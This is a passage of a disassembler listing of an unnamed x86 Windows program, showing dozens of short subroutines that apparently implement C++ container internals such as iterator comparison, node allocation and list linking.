		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218F0	proc near		; CODE XREF: sub_401816j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40196F
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401997
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401947
sub_4218F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421960	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_421960	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4219A0	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_4219A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219D0	proc near		; CODE XREF: sub_402167j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40196F
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4018FC
sub_4219D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A10	proc near		; CODE XREF: sub_401703j
		push	esi
		mov	esi, ecx
		call	sub_4019EC
		mov	eax, esi
		pop	esi
		retn
sub_421A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421A30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421A50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A80	proc near		; CODE XREF: sub_401802j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FFF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421A80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AB0	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421AB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013ED
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021B7
sub_421AF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B60	proc near		; CODE XREF: sub_40145Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421B60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421BA0	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421BA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BAE
sub_421BD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C10	proc near		; CODE XREF: sub_401B40j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421C10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421C30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C50	proc near		; CODE XREF: sub_40182Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421C50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D48
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421C80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401ECE
		mov	edi, eax
		push	edi
		call	sub_401B1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421CB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B1D
		push	edi
		mov	[eax], ebx
		call	sub_401B1D
		mov	edi, [eax]
		push	edi
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E3D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421D50	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401CF3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401901
sub_421D50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401CF3
		push	edi
		mov	[eax], ebx
		call	sub_401CF3
		mov	edi, [eax]
		push	edi
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017E9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421DF0	proc near		; CODE XREF: sub_401997j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jz	short loc_421E4A


loc_421E08:				; CODE XREF: sub_421DF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020B8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A1E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jnz	short loc_421E08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421E4A:				; CODE XREF: sub_421DF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421DF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E80	proc near		; CODE XREF: sub_401901j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401DF2
sub_421E80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421E95
		mov	edi, esi


loc_421E95:				; CODE XREF: ___:00421E91j
		push	esi
		call	sub_40204F
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421EAA
		mov	edi, esi


loc_421EAA:				; CODE XREF: ___:00421EA6j
		push	esi
		call	sub_401CF3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421ED0	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401546
sub_421ED0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_40204Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F10	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F30	proc near		; CODE XREF: sub_4019ECj
		mov	eax, ecx
		retn
sub_421F30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F50	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401519
		mov	eax, esi
		pop	esi
		retn	4
sub_421F50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F80	proc near		; CODE XREF: sub_401FFFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_421F80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FB0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018E8
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_421FB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4220AA


loc_422068:				; CODE XREF: sub_422050+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019AB
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B7C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422068
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4220AA:				; CODE XREF: sub_422050+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422050	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020BD
sub_4220E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4220F5
		mov	edi, esi


loc_4220F5:				; CODE XREF: ___:004220F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42210A
		mov	edi, esi


loc_42210A:				; CODE XREF: ___:00422106j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422130	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018E3
sub_422130	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422150	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422170	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422170	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422190	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221B0	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018ED
		mov	eax, esi
		pop	esi
		retn	4
sub_4221B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221E0	proc near		; CODE XREF: sub_401D48j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4221E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422210	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A2D
		add	esp, 8
		retn	8
sub_422210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422240	proc near		; CODE XREF: sub_401A1Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020B8
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40204F
		push	esi
		mov	ebx, eax
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401CF3
		push	esi
		mov	ebx, eax
		call	sub_40204F
		mov	eax, [eax]
		push	eax
		call	sub_401CF3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401631
		push	esi
		mov	ecx, edi
		call	sub_401947
sub_422240	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422300	proc near		; CODE XREF: sub_401CF3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422300	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422320	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_422320	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422350	proc near		; CODE XREF: sub_401546j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422350	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422370	proc near		; CODE XREF: sub_4017E9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40201D
		add	esp, 8
		retn	8
sub_422370	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223A0	proc near		; CODE XREF: sub_401519j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4223A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4223C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223E0	proc near		; CODE XREF: sub_4020B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4223E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422410	proc near		; CODE XREF: sub_401B7Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019AB
		mov	ecx, eax
		call	sub_4018E8
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E60
		push	esi
		mov	ecx, edi
		call	sub_4021B7
sub_422410	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4224D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224F0	proc near		; CODE XREF: sub_4020BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4224F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422520	proc near		; CODE XREF: sub_4018E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422520	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422540	proc near		; CODE XREF: sub_4013DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_422540	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422570	proc near		; CODE XREF: sub_4018EDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422570	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422590	proc near		; CODE XREF: sub_4018E8j
		mov	eax, [ecx]
		retn
sub_422590	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225B0	proc near		; CODE XREF: sub_4019ABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40182A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4225B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225E0	proc near		; CODE XREF: sub_401631j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A78
		pop	ecx
		retn	4
sub_4225E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422600	proc near		; CODE XREF: sub_401E60j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401F9B
		pop	ecx
		retn	4
sub_422600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422620	proc near		; CODE XREF: sub_401A2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42263B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
